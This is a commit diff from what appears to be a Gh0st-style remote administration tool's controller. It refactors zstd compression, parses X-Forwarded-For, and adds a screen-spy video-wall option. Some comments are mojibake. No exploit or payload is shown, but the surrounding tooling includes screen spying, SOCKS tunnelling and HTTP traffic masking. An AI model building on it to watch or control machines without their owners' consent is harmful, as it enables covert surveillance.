BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx* m_Cctx) {
assert(ContextObject);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
int cmd = szBuffer[0];
@@ -589,12 +585,8 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
#if USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = usingZstd ?
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
#endif
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();

View File

@@ -4,11 +4,6 @@
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#include "Server.h"
#if USING_CTX
#include "zstd/zstd.h"
#endif
#include <Mstcpip.h>
#define NC_CLIENT_CONNECT 0x0001
@@ -18,14 +13,7 @@
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
#include "zlib/zlib.h"
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define C_FAILED(p) (0 == (p))
#define C_SUCCESS(p) (!C_FAILED(p))
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else // ZSTD
// ZSTD
#include "zstd/zstd.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
@@ -35,15 +23,12 @@
#define C_FAILED(p) ZSTD_isError(p)
#define C_SUCCESS(p) (!C_FAILED(p))
#define ZSTD_CLEVEL 5
#if USING_CTX
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
#else
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
#define Mcompress(dest, destLen, source, sourceLen) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\
ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\
ZSTD_decompress(dest, *(destLen), source, sourceLen)
class IOCPServer : public Server
{
@@ -63,11 +48,6 @@ protected:
ULONG m_ulCurrentThread;
ULONG m_ulBusyThread;
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
ULONG m_ulKeepLiveTime;
pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc;
@@ -86,9 +66,9 @@ private:
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
int AddWorkThread(int n) {
@@ -142,12 +122,7 @@ public:
m_iocpServer(pIOCPServer),
CDialog(nIDTemplate, pParent) {
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockaddr_in);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_IPAddress = pContext->GetPeerName().c_str();
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
}
virtual ~CDialogBase(){}
@@ -186,6 +161,6 @@ public:
typedef CDialogBase DialogBase;
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc);
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL);
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL);

View File

@@ -7,6 +7,7 @@
#include "afxdialogex.h"
#include <imm.h>
#include <WinUser.h>
#include "CGridDialog.h"
// CScreenSpyDlg 对话框
@@ -126,11 +127,26 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_MOUSELEAVE()
ON_WM_KILLFOCUS()
ON_WM_SIZE()
ON_WM_LBUTTONDBLCLK()
END_MESSAGE_MAP()
// CScreenSpyDlg 消息处理程序
void CScreenSpyDlg::OnLButtonDblClk(UINT nFlags, CPoint point)
{
if (!m_bIsCtrl) {
CWnd* parent = GetParent();
if (parent) {
// 通知父对话框,传递点击点
CPoint ptScreen = point;
ClientToScreen(&ptScreen);
GetParent()->ScreenToClient(&ptScreen);
GetParent()->SendMessage(WM_LBUTTONDBLCLK, nFlags, MAKELPARAM(ptScreen.x, ptScreen.y));
}
}
CDialog::OnLButtonDblClk(nFlags, point);
}
BOOL CScreenSpyDlg::OnInitDialog()
{
@@ -195,13 +211,19 @@ BOOL CScreenSpyDlg::OnInitDialog()
VOID CScreenSpyDlg::OnClose()
{
CancelIO();
// 恢复鼠标状态
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
// 通知父窗口
CWnd* parent = GetParent();
if (parent)
parent->SendMessage(WM_CHILD_CLOSED, (WPARAM)this, 0);
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
// 恢复鼠标状态
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
DialogBase::OnClose();
}

View File

@@ -120,4 +120,5 @@ public:
afx_msg void OnPaint();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG* pMsg);
void OnLButtonDblClk(UINT nFlags, CPoint point);
};

View File

@@ -76,7 +76,19 @@ protected:
virtual ~HeaderParser() {
Reset();
}
PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
std::string getXForwardedFor(const std::string& headers) {
const std::string key = "X-Forwarded-For: ";
size_t pos = headers.find(key);
if (pos == std::string::npos)
return "";
pos += key.size();
size_t end = headers.find("\r\n", pos);
if (end == std::string::npos)
return "";
std::string ip = headers.substr(pos, end - pos);
return ip;
}
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer) {
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
@@ -86,10 +98,14 @@ protected:
ULONG srcSize = buf.GetBufferLength();
PkgMaskType maskType = MaskTypeUnknown;
ULONG ret = TryUnMask(src, srcSize, maskType);
std::string str = buf.Skip(ret);
if (maskType == MaskTypeHTTP) {
std::string clientIP = getXForwardedFor(str);
if (!clientIP.empty()) peer = clientIP;
}
if (nullptr == m_Masker) {
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
}
buf.Skip(ret);
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
return PR{ PARSER_NEEDMORE };

View File

@@ -61,6 +61,7 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_EDIT_FRP_TOKEN, m_EditFrpToken);
DDX_Text(pDX, IDC_EDIT_FRP_TOKEN, m_sFrpToken);
DDV_MaxChars(pDX, m_sFrpToken, 24);
DDX_Control(pDX, IDC_COMBO_VIDEO_WALL, m_ComboVideoWall);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
@@ -143,6 +144,15 @@ BOOL CSettingDlg::OnInitDialog()
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
m_ComboVideoWall.InsertString(0, "<EFBFBD><EFBFBD>");
m_ComboVideoWall.InsertString(1, "2 x 2");
m_ComboVideoWall.InsertString(2, "3 x 3");
m_ComboVideoWall.InsertString(3, "4 x 4");
m_ComboVideoWall.InsertString(4, "5 x 5");
if (size < 1 || size > 5) size = 1;
m_ComboVideoWall.SetCurSel(size-1);
UpdateData(FALSE);
return TRUE;
@@ -174,6 +184,8 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
m_ApplyButton.EnableWindow(FALSE);
m_ApplyButton.ShowWindow(SW_HIDE);
}

View File

@@ -48,4 +48,5 @@ public:
int m_nFrpPort;
CEdit m_EditFrpToken;
CString m_sFrpToken;
CComboBox m_ComboVideoWall;
};

View File

@@ -62,11 +62,7 @@ BOOL CProxyMapDlg::OnInitDialog()
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
CString strString;
sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
SetWindowText(strString);
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);

Binary file not shown.

View File

@@ -5,12 +5,7 @@
#pragma once
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 0
#if !USING_LZ4
#define USING_ZSTD 1
#define USING_CTX 0
#endif
#ifndef _SECURE_ATL
#define _SECURE_ATL 1